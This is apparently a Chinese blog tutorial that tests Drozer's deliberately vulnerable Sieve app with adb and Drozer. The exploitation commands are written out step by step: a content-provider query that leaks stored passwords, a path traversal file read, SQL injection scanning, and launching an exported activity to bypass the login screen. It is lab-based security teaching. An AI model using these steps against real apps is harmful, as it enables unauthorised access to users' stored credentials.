父与子
(本文所使用为笔者物理安卓机三星S8,系统版本为Android:9.0)
adb(Android Debug Bridge),android sdk中的一个工具,分为客户端(电脑)和服务端(android手机或者模拟器),可以用来直接操作管理android模拟器或者真实的android设备。
Drozer是一款针对Android的安全测试框架,分为安装在PC端的控制台、安装在终端上的代理APP两部分。可以利用APP的IPC通信,动态的发现被测试APP的安全风险。(本文是基于win系统下安装的,下载地址:https://labs.f-secure.com/tools/drozer/)
Sieve.app (本文所采用测试app为drozer官方示例,下载地:https://labs.f-secure.com/tools/drozer/)
adb devices
查看当前电脑连接的设备
(如图,列出了当前的设备,可以确认设备连接成功)
前面的数字为设备序列号, 如果有多个设备,在adb的指令后面加上参数 -s
命令:
adb install <app 包>
看到success,成功安装。
此处自行设置16位的密码与4位的Pin码,并添加一个密码条目,本文添加了一个名为tsilabnb的密码条目。
命令:
adb install <drozer-agent的路径>
6:由于drozer默认端口为31415,利用adb进行端口转发,建立监听通道。
命令:
adb forward tcp:31415 tcp:31415
执行命令后,出现31415的数字,或是没有任何信息输出。
点击enabled使服务变为应用状态,开启服务
命令:
drozer console connect
如图,出现终端标识符号dz>,成功连接。至此,我们前期准备已经完成,可以愉快的进行一些基本ST测试了。
在app中,content provider主要用于对外共享数据,若存在漏洞,任何人都可以通过接口访问设备中任意内部/外部存储的数据,所有content provider组件都会在应用程序AndroidManifest.xml文件中注册,我们可以用apktool反编译,并查询。
<provider
Android:name=”.FileBackupProvider” android:exported=”true” android:multiprocess=”true” android:authorities=”com.mwr.example.sieve.FileBackup
Provider”/>
可以看到,有一个参数android:exported=”true”,即表示可能存在content provider组件泄露漏洞。
命令:
run app.package.list -f sieve
如图,包名为com.mwr.example.sieve
命令:
run app.provider.finduri com.mwr.example.sieve
命令:
run app.provider.query <url> --vertical
如图,发现信息泄露。
命令:
run scanner.provider.traversal -a com.mwr.example.sieve
命令:
run app.provider.read <url>../../../../proc/cpuinfo
如图,利用遍历漏洞输出系统cpu相关信息
命令:
run scanner.provider.injection -a com.mwr.example.sieve
命令:
run app.provider.query <url> --selection
由上一步数据库表得知有5个字段,_id,service,username,passwd,email, 根据不同字段数据类型,使用命令如下:
run app.provider.insert <url> --integer _id 3 --string service “moonfoxnb” --string username “moonfox” --string password 12345678 --string email “moonfox .com”
可见,添加成功。
命令:
run app.package.attacksurface com.mwr.example.sieve
这里也可以用app.provider.info模块,获取content provider 的attacksurface的详细信息,包括名称,权限等信息。
命令:
run app.activity.info -a com.mwr.example.sieve
我们发现,fileselectactivity,mainloginactivity和pwlist这三个是exported可以被其他程序使用的,而mainloginactivity是程序启动的主页面,没有问题,但剩下两个理论上是不能的,不该无权限就被其他程序所调用,会造成未授权访问的安全问题,这里我们测试密码条目的pwlist的项。
命令:
run app.provider.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
直接利用漏洞绕过登录页面跳至密码条目PWList页面。
仅供技术研究,请勿用于非法利用,诸君共勉
Getshell奇遇记
一个可以发简历,可以发招聘,发自拍找对象的安全技术交流群,因人数过多,如需进群,请扫码或添加好友